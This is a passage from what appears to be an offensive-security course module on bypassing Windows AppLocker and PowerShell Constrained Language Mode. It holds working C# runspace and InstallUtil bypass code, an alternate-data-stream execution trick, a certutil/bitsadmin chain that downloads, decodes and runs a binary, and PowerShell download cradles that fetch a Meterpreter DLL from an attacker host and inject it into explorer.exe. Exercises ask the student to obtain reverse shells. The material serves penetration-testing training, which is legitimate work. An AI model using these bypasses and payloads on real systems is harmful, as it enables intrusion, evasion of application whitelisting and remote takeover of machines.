Figure 7: Bypassing AppLocker using a DLL

Although this is basic code, it demonstrates that DLLs are not
restricted by the current AppLocker rules.

We can, however, enforce DLL whitelisting with AppLocker, again
through the Local Group Policy Editor. Let's do that now.

Reopening the rule enforcement window in the group policy editor,
we'll click the "Advanced" tab. This presents a warning about system
performance issues related to DLL whitelisting enforcement and offers
the option to enable it.

After checking "Enable the DLL rule collection" and clicking Apply,
we'll return to the original "Enforcement" tab which presents a new
entry related to DLLs as shown in Figure 8.

Figure 8: Configuring AppLocker DLL rules enforcement

Here, we'll enable DLL enforcement and return to the main AppLocker
configuration window. A "DLL Rules" section now allows us to create
default rules.

Once everything is configured, we'll once again execute
gpupdate /force from an administrative command prompt to
activate the settings.

To test the configured rules, we'll attempt to load
TestDll.dll with rundll32. This presents the AppLocker
error message shown in Figure 9.

Figure 9: AppLocker DLL rules blocking DLL loading

The DLL has been blocked. Unless the default rules DLL Enforcement
rules have been modified, we could bypass whitelisting by copying
TestDll.dll into C:\Windows\Tasks.

Exercises

  1. Bypass AppLocker by executing the proof-of-concept DLL
    C:\Tools\TestDll.dll, as shown in this section.
  2. Generate a Meterpreter DLL with msfvenom and use that together with
    rundll32 to bypass AppLocker to obtain a reverse shell.
  3. Enable default rules for DLLs and verify that the Meterpreter DLL
    is blocked.

Extra Mile

Examine the default Windows Installer rules and determine how it would
be possible to bypass those.

Alternate Data Streams

So far, we have demonstrated various ways of bypassing AppLocker if
the rules are not appropriately configured. In this section, we'll
work through a slightly more advanced bypass that abuses a feature of
the Windows file system itself.

Th modern Windows file system is based on the NTFS[420]
specification, which represents all files as a stream of
data.[421] While the inner workings of NTFS are complex, for
the purposes of this module, it's important to simply understand that
NTFS supports multiple streams.

An Alternate Data Stream (ADS) is a binary file attribute that
contains metadata. We can leverage this to append the binary data of
additional streams to the original file.

To demonstrate this, we'll create the small Jscript file shown in
Listing 5:

var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("cmd.exe");

Listing 5 - Simple Jscript proof of concept

We'll save this as test.js in the student user's home
directory. Since we have AppLocker scripting rules in place, we cannot
execute it in its current location. However, if we can find a file
in a trusted location that is both writable and executable, we could
write the contents of this script to an alternate data stream inside
that file and execute it, bypassing AppLocker.

For example, TeamViewer version 12, which is installed on the Windows
10 victim machine, uses a log file (TeamViewer12_Logfile.log)
that is both writable and executable by the student user. We can
use the native type[422] command to copy the contents of
test.js into an alternate data stream of the log file with
the : notation:

C:\Users\student>type test.js > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js"

Listing 6 - Copying the contents of test.js into an ADS of the log file

We'll use dir /r to verify that the Jscript code was written
to the alternate data stream:

C:\Users\student>dir /r "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log"
 Volume in drive C has no label.
 Volume Serial Number is 305C-7C84

 Directory of C:\Program Files (x86)\TeamViewer

03/09/2020  08:34 AM            32,489 TeamViewer12_Logfile.log
                                    79 TeamViewer12_Logfile.log:test.js:$DATA
               1 File(s)         32,489 bytes
               0 Dir(s)     696,483,840 bytes free

Listing 7 - Verifying the ADS section with dir

The output in Listing 7 indicates that the script has
been written to the alternate data stream. Now we must execute it.

If we simply double-click the icon for the log file, it would open the
log (the primary stream) in Notepad as a standard log file.

However, if we execute it from the command line with wscript,
specifying the ADS, the Jscript content is executed instead, as shown
in Figure 10.

Figure 10: Executing the contents of the alternate data stream

In this case, the Jscript code executed and opened a new command
prompt, despite the AppLocker script rules.

Exercises

  1. Repeat the exercise to embed simple Jscript code inside an
    alternative data stream to obtain execution.
  2. Replace the current Jscript code with a DotNetToJscript shellcode
    runner and obtain a Meterpreter reverse shell.

Third Party Execution

As previously stated, AppLocker only enforces rules against native
Windows executable data file types. If a third-party scripting engine
like Python or Perl is installed, we could use it to very easily
bypass application whitelisting.

To demonstrate this, we'll create a small Python script and execute
it:

C:\Users\student>echo print("This executed") > test.py

C:\Users\student>python test.py
This executed

Listing 8 - Bypassing AppLocker with Python

The output from Listing 8 shows that AppLocker
may easily be bypassed through a third-party scripting engine, but
of course, it must be previously installed, which is rare in most
traditional environments.

Similarly, AppLocker does not block execution of high-level
languages such as Java, although this again requires the Java Runtime
Environment to be installed, which is a more common occurrence.

Even more interesting is the lack of enforcement against VBA code
inside Microsoft Office documents. If a Microsoft Office document is
saved to a non-whitelisted folder, AppLocker cannot restrict execution
of its embedded macros, allowing for reuse of our previously developed
tradecraft. This highlights the usefulness of Office documents in
client-side attacks.

Exercise

  1. Generate a Python reverse Meterpreter payload with msfvenom and use
    that to bypass AppLocker and get a reverse Meterpreter shell.

Bypassing AppLocker with PowerShell

In previous sections we executed simple bypasses. In the remaining
sections, we will investigate advanced and increasingly complex
bypasses and reuse previously-developed tradecraft that bypasses
non-standard AppLocker rulesets.

Our previously developed tradecraft relied heavily on PowerShell
which, as previously demonstrated, can easily bypass detection
mechanisms like AMSI. In this section, we will analyze the various
restrictions Applocker places on PowerShell and demonstrate various
bypasses.

PowerShell Constrained Language Mode

The PowerShell execution policy restricts the execution of scripts,
but this is a weak protection mechanism which can be easily bypassed
with the built-in "Bypass" execution policy. However, the more robust
Language Modes[423] limit the functionality to avoid execution
of code like our shellcode runner and operates at three distinct
levels.

The first (and default) level, FullLanguage, allows all cmdlets and
the entire .NET framework as well as C# code execution. By contrast,
NoLanguage disallows all script text. RestrictedLanguage offers
a compromise, allowing default cmdlets but heavily restricting much
else.

These settings are relatively uncooperative. For example, it would
be difficult to allow administrative execution, while allowing
execution of scripts we trust and blocking scripts belonging to a user
(malicious or otherwise).

To address this, Microsoft introduced the ConstrainedLanguage
mode (CLM) with PowerShell version 3.0. When AppLocker (or WDAC)
is enforcing whitelisting rules against PowerShell scripts,
ConstrainedLanguage is enabled as well.

On Windows 7, 8.1 and earlier versions of Windows 10, PowerShell
version 2 was installed by default along with the most recent
version of PowerShell. On these systems, it may be possible to bypass
constrained language mode by specifying version two of PowerShell
(-v2) when starting the process.

Under ConstrainedLanguage, scripts that are located in whitelisted
locations or otherwise comply with a whitelisting rule can execute
with full functionality. However, if a script does not comply with
the rules, or if commands are entered directly on the command line,
ConstrainedLanguage imposes numerous restrictions.

The most significant limitation excludes calls to the .NET framework,
execution of C# code and reflection.

To demonstrate this, let's open a PowerShell prompt in the context of
the "student" user and attempt to invoke the .NET framework, as shown in
Listing 9.

PS C:\Users\student> [Math]::Cos(1)
Cannot invoke method. Method invocation is supported only on core types in this language mode.
At line:1 char:1
+ [Math]::Cos(1)
+ ~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : MethodInvocationNotSupportedInConstrainedLanguage

Listing 9 - Constrained Language mode is blocking access to .NET functionality

As evidenced by the highlighted warning in the listing above, we
cannot access the otherwise simple cosine function in the Math
namespace of .NET. This warning is indicative of constrained language
mode.

The language mode of the current PowerShell session or prompt is
always stored in the $ExecutionContext.SessionState.LanguageMode
variable which can be displayed as follows:

PS C:\Users\student> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

Listing 10 - Finding the language mode of the current PowerShell session

In contrast, let's open a second PowerShell prompt with administrative
privileges in the context of the "Offsec" user and dump the contents
of the same variable:

PS C:\Windows\system32> $ExecutionContext.SessionState.LanguageMode
FullLanguage
PS C:\Windows\system32> [Math]::Cos(1)
0.54030230586814

Listing 11 - Administrative PowerShell prompt is in FullLanguage mode

Obviously this is our preferred language mode, as it is unrestricted,
allowing us to reuse all our previous tradecraft. However, in the next
section we'll dig deeper into .NET and develop code that will bypass
constrained language mode.

Exercises

  1. Verify that constrained language mode is enabled for a PowerShell
    prompt executed in the context of the "student" user.
  2. Check if our existing PowerShell shellcode runner is stopped once
    constrained language mode is enabled.

Custom Runspaces

Before exploring constrained language bypass techniques we must first
explore the various components of a typical PowerShell implementation.

PowerShell.exe is essentially a GUI application
handling input and output. The real functionality lies inside
the System.Management.Automation.dll managed DLL, which
PowerShell.exe calls to create a runspace.

It is possible to leverage multithreading[424] and parallel
task execution through either Jobs or Runspaces. The APIs for
creating a runspace are public and available to managed code written
in C#.

This means we could code a C# application that creates a custom
PowerShell runspace and executes our script inside it. This is
beneficial since, as we will demonstrate, custom runspaces are
not restricted by AppLocker. Using this approach, we can construct
a constrained language mode bypass to allow arbitrary PowerShell
execution.

We will have to bypass executable rules to execute this C# code,
but we will address this in a later section.

To begin, let's turn to our Windows 10 development machine
to create a new C# Console App project. In this project we'll
create a runspace through the CreateRunspace method of the
System.Management.Automation.Runspaces namespace:

using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

namespace Bypass
{
    class Program
    {
        static void Main(string[] args)
        {
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
        }
    }
}

Listing 12 - Creating a custom runspace with CreateRunspace

Unfortunately, Visual Studio can not locate
System.Management.Automation.Runspaces, to resolve this, we must
manually add the assembly reference. First we'll right-click the
References folder in the Solution Explorer and select Add
Reference...
. In most cases, the reference can be found in existing
assemblies, but in this particular case, we'll need to specify a file
location instead.

To do this, we'll select the Browse... button
at the bottom of the window and navigate to the
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35
folder where we will select System.Management.Automation.dll.

After adding the assembly reference, the previous errors are resolved.
Now we can dig into the code.

Calling CreateRunspace creates a custom runspace and returns a
Runspace object.[425] We can invoke the Open method[426]
on this object, after which we may interact with the custom runspace.

With the custom runspace created, we can instantiate a PowerShell
object and assign the runspace to it which allows us to pass and
invoke arbitrary PowerShell commands. This is implemented through the
Create[427] method of the PowerShell class[428] as
shown in Listing 13.

PowerShell ps = PowerShell.Create();
ps.Runspace = rs;

Listing 13 - Instantiating a PowerShell object and setting the runspace

The final line of code above will set the runspace
property[429] to our custom runspace.

At this point we have created a custom runspace and associated it with
a PowerShell object and we are ready to pass in a command or script
and execute it.

As a proof of concept, we'll simply write the contents of the
$ExecutionContext.SessionState.LanguageMode variable to a
file so we can verify the language mode of the custom runspace.
This is implemented in the code snippet shown in Listing
14:

String cmd = "$ExecutionContext.SessionState.LanguageMode | Out-File -FilePath C:\\Tools\\test.txt";
ps.AddScript(cmd);
ps.Invoke();
rs.Close();

Listing 14 - Adding a PowerShell script and executing it

The PowerShell script is added to the pipeline through the AddScript
method,[430] after which the Invoke method[150-1] is used
to execute the script. Finally, the Close method[431] is
called to close the custom runspace for cleanup.

Before compiling the project, we'll switch from "Debug" to "Release"
mode and select 64-bit for compilation. After compilation we'll copy
the executable to the Windows 10 victim VM and execute it:

C:\Users\student> Bypass.exe
This program is blocked by group policy. For more information, contact your system administrator. 

Listing 15 - Failure to execute the compiled executable

AppLocker blocks our C# executable because we executed it from
a non-whitelisted directory. So let's copy the executable into a
whitelisted directory to verify our constrained language mode bypass:

C:\Users\student> copy Bypass.exe C:\Windows\Tasks
C:\Users\student> C:\Windows\Tasks\Bypass.exe 
C:\Users\student> type C:\Tools\test.txt
FullLanguage

Listing 16 - Constrained language mode is bypassed

Our PowerShell script executed without restrictions inside the custom
runspace, and our code achieved the desired goal. Good.

Additionally, we did not use PowerShell.exe, which means that
even if an AppLocker deny rule was configured to block its execution,
we could still use this method to run arbitrary PowerShell scripts.

As an expanded use case, let's leverage the custom runspace to fetch
and execute the PowerUp[432] PowerShell privilege escalation
enumeration script. We'll download the script and copy it to our Kali
machine's Apache webserver, and update the C# application to invoke
inside the custom runspace:

String cmd = "(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/PowerUp.ps1') | IEX; Invoke-AllChecks | Out-File -FilePath C:\\Tools\\test.txt";

Listing 17 - Script to fetch and execute PowerUp in a custom runspace

Once the C# project has been modified with the new script and
recompiled, we can execute the C# executable and enumerate possible
avenues of privilege escalation:

C:\Users\student> C:\Windows\Tasks\Bypass.exe
C:\Users\student> type C:\Tools\test.txt

[*] Running Invoke-AllChecks


[*] Checking if user is in a local group with administrative privileges...


[*] Checking for unquoted service paths...
...

Listing 18 - Executing PowerUp while bypassing constrained language mode

The power of custom runspaces allows us to reuse all our previous
PowerShell-based tradecraft. However, we are still hindered by
AppLocker's C# executable rules. In the next section, we'll solve this
problem by using a technique called living off the land, in which we
misuse a native Windows application.

Exercises

  1. Recreate the application shown in this section to set up a custom
    runspace and execute arbitrary PowerShell code without limitations.
  2. Modify the C# code to implement our PowerShell shellcode runner.
  3. Create an AppLocker deny rule for
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    and verify that this does not hinder our custom runspace.

PowerShell CLM Bypass

In the last section, we bypassed constrained language mode in
PowerShell but ended up needing the ability to bypass the AppLocker
executable rules for a C# application. In this section, we'll
demonstrate how native Windows applications can be abused to bypass
AppLocker by fooling the filter driver.

In this section we will leverage InstallUtil,[433]
a command-line utility that allows us to install and uninstall
server resources by executing the installer components in a specified
assembly. This Microsoft-supplied tool obviously has legitimate
uses, but we can abuse it to execute arbitrary C# code. Our goal
is to reintroduce our PowerShell shellcode runner tradecraft in an
AppLocker-protected environment.

To use InstallUtil in this way, we must put the code we want to
execute inside either the install or uninstall methods of the
installer class.[434]

We are only going to use the uninstall method since the install
method requires administrative privileges to execute.

Using the MSDN documentation as a guide, we can build the following
proof-of-concept:

using System;
using System.Configuration.Install;

namespace Bypass
{
    class Program
    {
        static void Main(string[] args)
        {
            // TO DO
        }
    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
          // TO DO
        }
    }
}

Listing 19 - Framework proof of concept for installutil

There are a few things to note about this code. First, the
System.Configuration.Install namespace is missing an assembly
reference in Visual Studio. We can add this by again right-clicking
on References in the Solution Explorer and choosing Add
References...
. From here, we'll navigate to the Assemblies menu on
the left-hand side and scroll down to System.Configuration.Install,
as shown in Figure 11.

Figure 11: Adding an assembly reference to System.Configuration.Install

Once the assembly reference has been added the displayed errors
are resolved. Although our code uses both the Main method and the
Uninstall method, content in the Main method is not important
in this example. However, the method itself must be present in the
executable.

Since the content of the Main method is not part of the
application whitelisting bypass, we could use it for other purposes,
like bypassing antivirus.

Inside the Uninstall method, we can execute arbitrary C# code.
In this case, we will use the custom runspace code we developed
in the previous section. The combined code is shown in Listing
20.

using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;

namespace Bypass
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("This is the main method which is a decoy");
        }
    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            String cmd = "$ExecutionContext.SessionState.LanguageMode | Out-File -FilePath C:\\Tools\\test.txt";
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();

            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;

            ps.AddScript(cmd);

            ps.Invoke();

            rs.Close();
        }
    }
}

Listing 20 - Custom runspace C# code inside Uninstall method

With the executable compiled and copied to the Windows 10 victim
machine, we'll execute it from an administrative command prompt:

C:\Tools>Bypass.exe
This is the main method which is a decoy

Listing 21 - Executing the main method with an administrative command prompt

As shown in the output, the Main method executed. If we
run it from a non-administrative command prompt (Listing
22), AppLocker blocks it.

To trigger our constrained language mode bypass code, we must invoke
it through InstallUtil with /logfile to avoid logging to a
file, /LogToConsole=false to suppress output on the console
and /U to trigger the Uninstall method:

C:\Users\student>C:\Tools\Bypass.exe
This program is blocked by group policy. For more information, contact your system administrator.

C:\Users\student>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe
Microsoft (R) .NET Framework Installation utility Version 4.8.3752.0
Copyright (C) Microsoft Corporation.  All rights reserved.


C:\Users\student>type C:\Tools\test.txt
FullLanguage

Listing 22 - Execution of custom runspace code through installutil

The output in Listing 22 shows that
InstallUtil is allowed to execute. It started the .NET Framework
Installation utility and the test.txt output shows that our
PowerShell script executed without restrictions. Excellent!

At this point, it would be possible to reuse this tradecraft with
the Microsoft Word macros we developed in a previous module since they
are not limited by AppLocker. Instead of using WMI to directly start
a PowerShell process and download the shellcode runner from our Apache
web server, we could make WMI execute InstallUtil and obtain the same
result despite AppLocker.

There is, however, a slight issue; the compiled C# file has to be on
disk when InstallUtil is invoked. This requires two distinct actions.
First, we must download an executable, and secondly, we must ensure
that it is not flagged by antivirus, neither during the download
process nor when it is saved to disk. We could use VBA code to do
this, but it is simpler to rely on other native Windows binaries,
which are whitelisted by default.

To attempt to bypass anitvirus, we are going to obfuscate
the executable while it is being downloaded with Base64
encoding and then decode it on disk. Well use the native
certutil[435] tool to perform the encoding and decoding
and bitsadmin[436] for the downloading. By using
native tools in unexpected and interesting ways, we will be "Living
Off The Land".

There are a couple of steps involved in setting this up, so let's take
them one at a time. First, we'll use certutil on our Windows
10 development machine to Base64-encode the compiled executable. This
is done by supplying the -encode flag:

C:\Users\Offsec>certutil -encode C:\Users\Offsec\source\repos\Bypass\Bypass\bin\x64\Release\Bypass.exe file.txt
Input Length = 5120
Output Length = 7098
CertUtil: -encode command completed successfully.
C:\Users\Offsec>type file.txt
-----BEGIN CERTIFICATE-----
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v
dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYCAHFjntgAAAAA
AAAAAPAAIgALAjAAAAwAAAAGAAAAAAAAAAAAAAAgAAAAAABAAQAAAAAgAAAAAgAA
...

Listing 23 - Base64 encoding the executable with certutil

Now that the binary has been Base64-encoded, we'll
copy it to the web root of our Kali machine and ensure that Apache is
running. Then we'll use bitsadmin to download the encoded file.

Certutil can also be used to download files over HTTP(S), but
this triggers antivirus due to its widespread malicious usage.

To download the file, we'll specify the /Transfer option
along with a custom name for the transfer and the download URL:

C:\Users\student>bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\Users\student\enc.txt

DISPLAY: 'myJob' TYPE: DOWNLOAD STATE: ACKNOWLEDGED
PRIORITY: NORMAL FILES: 1 / 1 BYTES: 7098 / 7098 (100%)
Transfer complete.

Listing 24 - Downloading the Base64 encoded executable with bitadmin

With the file downloaded we can decode it with certutil
-decode:

C:\Users\student>certutil -decode enc.txt Bypass.exe
Input Length = 7098
Output Length = 5120
CertUtil: -decode command completed successfully.

C:\Users\student>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\student\Bypass.exe
Microsoft (R) .NET Framework Installation utility Version 4.8.3752.0
Copyright (C) Microsoft Corporation.  All rights reserved.

Listing 25 - Decoding with certutil and executing with installutil

As shown in Listing 25, we executed the
decoded executable with InstallUtil and bypassed both AppLocker's
executable rules and PowerShell's constrained language mode.

Since all of these commands are executed sequentially we can combine
them on the command line through the && syntax:&&

C:\Users\student>bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt && certutil -decode C:\users\student\enc.txt C:\users\student\Bypass.exe && del C:\users\student\enc.txt && C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\student\Bypass.exe  

Listing 26 - Complete combined command to download, decode and execute the bypass

Our bypasses were again successful. Very Nice.

In this section, we further developed our tradecraft to allow
arbitrary C# execution and unrestricted PowerShell execution despite
application whitelisting. We are now able to reuse our existing
client-side code execution techniques from Microsoft Office.

Exercises

  1. Implement the constrained language mode bypass using InstallUtil
    as demonstrated in this section.
  2. Create or modify a Microsoft Word macro to use the whitelisting
    bypass and launch a PowerShell shellcode runner.

Reflective Injection Returns

In an earlier module, we used the Invoke-ReflectivePEInjection
PowerShell script to inject an unmanaged Meterpreter DLL into a
process with reflective DLL injection. However, in a previous section,
we enabled AppLocker DLL rules to block untrusted DLLs. Let's try
to leverage InstallUtil to bypass AppLocker and revive the powerful
reflective DLL injection technique.

First, we'll generate a 64-bit Meterpreter DLL and host it
on the Apache server on our Kali machine. We'll also upload
the Invoke-ReflectivePEInjection.ps1 script from
C:\Tools to the Apache server to simulate the full attack
scenario.

Next, we'll modify the cmd variable inside the constrained
language mode bypass (the C# application developed in the previous
sections). Our goal is to download the Meterpreter DLL into a byte
array, determine the process ID of explorer.exe for the DLL
injection and download and execute the Invoke-ReflectivePEInjection
script. The updated cmd variable is shown in Listing
27.

String cmd = "$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/met.dll');(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/Invoke-ReflectivePEInjection.ps1') | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid";

Listing 27 - Reflectively loading Meterpreter DLL into explorer.exe

Since we pass the script on a single line, we used the ;
command terminator to supply multiple commands at once.

When we compile and execute the C# application through InstallUtil, it
generates a reverse shell, proving that the unmanaged DLL successfully
loaded, bypassing AppLocker's DLL rules.

Exercise

  1. Repeat the actions in this section to obtain a reverse shell by
    reflectively loading the Meterpreter DLL.

Bypassing AppLocker with C#

We have successfully bypassed AppLocker's PowerShell restrictions
and have executed arbitrary managed C# and PowerShell code through
InstallUtil. However, this relies on the existence of a single binary.
If InstallUtil was blocked by a deny rule, this technique would fail.
Let's improve our tradecraft by building another AppLocker bypass in
C#.[437]

In addition to providing an alternative bypass method for C# code
execution, this process demonstrates basic techniques which could aid
future research. Discovering a bypass is not completely trivial, so
we'll divide this process into a number of steps.

Locating a Target

To begin, let's discuss the components of an AppLocker bypass. Our
ultimate goal is to execute arbitrary C# code via a whitelisted
application, which means our target application must either accept
a pre-compiled executable as an argument and load it into memory or
compile it itself. In addition, the target application must obviously
execute our code.

Either way, the whitelisted application must load unsigned
managed code into memory. This is typically done through APIs like
Load,[224-1] LoadFile[438] or LoadFrom.[439]

The first step in this process is therefore to locate native compiled
managed code that performs these actions. While it may seem logical
to simply scan each assembly for one of these loading methods, the
compilation and loading processes are typically performed by nested
method calls inside core DLLs.

Still, we could scan a compiled assembly for references to either
of the previously mentioned methods through the dnlib[440]
external library or with the LoadMethodScanner developed by security
researcher Matt Graeber (@mattifestation).[441] Although
this approach automates the search process and scales well, developing
the test harness requires significant preparation.

Alternatively, we could reverse engineer assemblies which reside in
whitelisted locations in search of the code segments that either load
precompiled managed code or use source code which is compiled as part
of the processing. Once identified, these code segments must execute
the code we provide after it is loaded into memory.

In the following sections, we'll leverage this second approach,
focussing on the System.Workflow.ComponentModel.dll assembly
which is vulnerable to a relatively new AppLocker bypass.[442]

This assembly is located in the
C:\Windows\Microsoft.NET\Framework64\v4.0.30319 directory
which is whitelisted by AppLocker's default path rules. Additionally
the assembly is signed by Microsoft, so it is whitelisted through a
default publisher rule.

Let's reverse engineer the assembly, locate the specific logic we will
use to bypass AppLocker and finally, weaponize it.

Note that this process could easily be performed on any assembly
to locate new application whitelisting bypasses which could yield
numerous results given the variety of new applications and libraries
included with each Windows update.

Reverse Engineering for Load

Let's begin the process of locating a Load call inside
System.Workflow.ComponentModel.dll.

Since we are reverse-engineering managed code, we'll need a new tool.
We'll use dnSpy[443] which is the tool of choice for
disassembling and performing reverse engineering on compiled .NET
code. This tool has been installed on the Windows 10 victim machine,
and a shortcut has been placed on the taskbar. Thanks to application
whitelisting, we must launch dnSpy as an administrative user.

After launching dnSpy we'll navigate to File -> Open,
browse to the target assembly and select Open. This will load
System.Workflow.ComponentModel.dll, automatically decompile
it and add it to the Assembly Explorer, as shown in Figure
12.

Figure 12: System.Workflow.ComponentModel.dll is decompiled and shown in dnSpy

Based on its name alone, the System.Workflow.ComponentModel.Compiler
namespace is worth investigating since compilation often involves
loading a file or data.

Expanding the namespace reveals the WorkflowCompiler class which
contains the Compile method. Based on the class and method name,
this seems a good starting point for our analysis as we are trying to
leverage existing functionality within the code base to compile our
own C# source code and load it in memory.

There are multiple steps we have to perform as part of this analysis.
First, we will begin by determining if the Compile method does indeed
lead to compilation of source code. If so, we must ensure that we are
able to invoke this function and supply the source code. Finally, we
must determine if and how the code is executed.

The code begins with various argument checks, and eventually executes
the statements shown in Listing 28:

56  WorkflowCompilerInternal workflowCompilerInternal = (WorkflowCompilerInternal)appDomain.CreateInstanceAndUnwrap(Assembly.GetExecutingAssembly().FullName, typeof(WorkflowCompilerInternal).FullName);
57  WorkflowCompilerResults workflowCompilerResults = workflowCompilerInternal.Compile(parameters, files);

Listing 28 - Call to WorkflowCompilerInternal.Compile

Line 57 highlighted above calls into the internal Compile method in
the WorkflowCompilerInternal namespace. If we click on the method
name, dnSpy will jump to that code and display it.

The initial instructions validate the arguments. The instructions
shown below are found further down in the code:

89  using (WorkflowCompilationContext.CreateScope(serviceContainer, parameters))
90	{
91	  parameters.LocalAssembly = this.GenerateLocalAssembly(array, array2, parameters, workflowCompilerResults, out tempFileCollection, out empty, out text4);
92		if (parameters.LocalAssembly != null)
93		{
94		  referencedAssemblyResolver.SetLocalAssembly(parameters.LocalAssembly);
95			typeProvider.SetLocalAssembly(parameters.LocalAssembly);
96			typeProvider.AddAssembly(parameters.LocalAssembly);
97			workflowCompilerResults.Errors.Clear();
98			XomlCompilerHelper.InternalCompileFromDomBatch(array, array2, parameters, workflowCompilerResults, empty);
99		}
100	}

Listing 29 - Call to GenerateLocalAssembly and InternalCompileFromDomBatch

The GenerateLocalAssembly and InternalCompileFromDomBatch methods
are especially interesting given that we are searching for a code
segment responsible for compiling managed code. Let's start with
GenerateLocalAssembly and follow it with dnSpy.

Eventually we reach the code shown in Listing
30:

291 CompilerResults compilerResults = codeDomProvider.CompileAssemblyFromFile(compilerParameters, (string[])arrayList3.ToArray(typeof(string)));

Listing 30 - Call to CompileAssemblyFromFile

Based on the name alone, the CompileAssemblyFromFile method from
the CodeDomProvider namespace is worth investigating. Following the
call to this method reveals that this is a small wrapper method for
CompileAssemblyFromFileBatch:

176 public virtual CompilerResults CompileAssemblyFromFile(CompilerParameters options, params string[] fileNames)
177 {
178 	return this.CreateCompilerHelper().CompileAssemblyFromFileBatch(options, fileNames);
179 }

Listing 31 - Call to CompileAssemblyFromFileBatch

At this point, we are quite deep into the code. Let's take a moment
to investigate this method to validate that we're on the right track.
MSDN[444] confirms that CompileAssemblyFromFileBatch does
indeed compile an assembly, as the name suggests. Good. We're headed
in the right direction. Let's continue.

If we follow the call into CompileAssemblyFromFileBatch,
we only find the method definition as shown in Listing
32. There is no function
implementation because this is part of an interface.[445]

4 namespace System.CodeDom.Compiler
5 {
6 	// Token: 0x0200067A RID: 1658
7 	public interface ICodeCompiler
8 	{
...	
30    [PermissionSet(SecurityAction.LinkDemand, Name = "FullTrust")]
31		[PermissionSet(SecurityAction.InheritanceDemand, Name = "FullTrust")]
32		CompilerResults CompileAssemblyFromFileBatch(CompilerParameters options, string[] fileNames);

Listing 32 - Function definition of CompileAssemblyFromFileBatch

To find the implementation of the interface from the
System.CodeDom.Compiler namespace, we'll right-click the method name
and select Analyze, which will open a pane in the lower right-hand
side of the application. We can expand this by clicking Implemented
By
as shown in Figure 13.

Figure 13: Analyzing the CompileAssemblyFromFileBatch method in dnSpy

Now we can double-click the second entry to find the implementation
of CompileAssemblyFromFileBatch as shown in Listing
33.

94  CompilerResults ICodeCompiler.CompileAssemblyFromFileBatch(CompilerParameters options, string[] fileNames)
95  {
96    if (options == null)
97  	{
98		  throw new ArgumentNullException("options");
99		}
100		if (fileNames == null)
101		{
102 		throw new ArgumentNullException("fileNames");
103		}
104		CompilerResults result;
106		try
107		{
108			foreach (string path in fileNames)
109			{
110				using (File.OpenRead(path))
111				{
112				}
113			}
114			result = this.FromFileBatch(options, fileNames);
115		}
116		finally
117		{
118			options.TempFiles.SafeDelete();
119		}
120		return result;

Listing 33 - Source code of CompileAssemblyFromFileBatch

As highlighted in the code, the method validates the supplied file
paths and then calls FromFileBatch.

Within FromFileBatch, we find a call to the Compile method, where
the C# code supplied through fileNames is finally compiled:

323 string text = this.CmdArgsFromParameters(options) + " " + CodeCompiler.JoinStringArray(fileNames, " ");
324 string responseFileCmdArgs = this.GetResponseFileCmdArgs(options, text);
325 string trueArgs = null;
326 if (responseFileCmdArgs != null)
327 {
328 	trueArgs = text;
329 	text = responseFileCmdArgs;
330 }
331 this.Compile(options, Executor.GetRuntimeInstallDirectory(), this.CompilerName, text, ref path, ref num, trueArgs);

Listing 34 - Call to Compile that compiles the source code

Further on after the source code has been compiled and stored in the
array variable, we locate the code we have been searching for:

373 try
374	{
375	  if (!FileIntegrity.IsEnabled)
376   {
377		  compilerResults.CompiledAssembly = Assembly.Load(array, null, options.Evidence);
378			return compilerResults;
379		}

Listing 35 - Loading the compiled assembly

The code shown in Listing 35 loads the
now-compiled assembly with Assembly.Load. Very nice. The only caveat
is that this call is only triggered if the file integrity property is
not enabled ("!FileIntegrity.IsEnabled").

Let's investigate FileIntegrity to determine if it will be enabled
in our scenario.

Matt Graeber writes on his blog[446] that when the
FileIntegrity.IsEnabled property is evaluated, a call is made to
WldpIsDynamicCodePolicyEnabled,[447] which will only return true
if WDAC is enabled and certain specific policies are enforced. Since
we are only dealing with AppLocker, this does not apply to us, and
this code path will execute.

At this point, we have made significant progress reverse engineering
the System.Workflow.ComponentModel.dll assembly. We have
found a code path that compiles and loads C# source code based on given
input files.

Before we go any further with the analysis we must
ensure that we are actually able to invoke the Compile
method from the WorkflowCompiler class inside
System.Workflow.ComponentModel.dll. Additionally we must
determine if we are able to control the arguments provided to it.

To find an executable that invokes the Compile method, we'll
navigate back to it in dnSpy. Next, we'll right-click the method name
and select Analyze, which will open a pane in the lower right-hand
side of the application, as shown in Figure 14.

Figure 14: Analyzing the Compile method in dnSpy

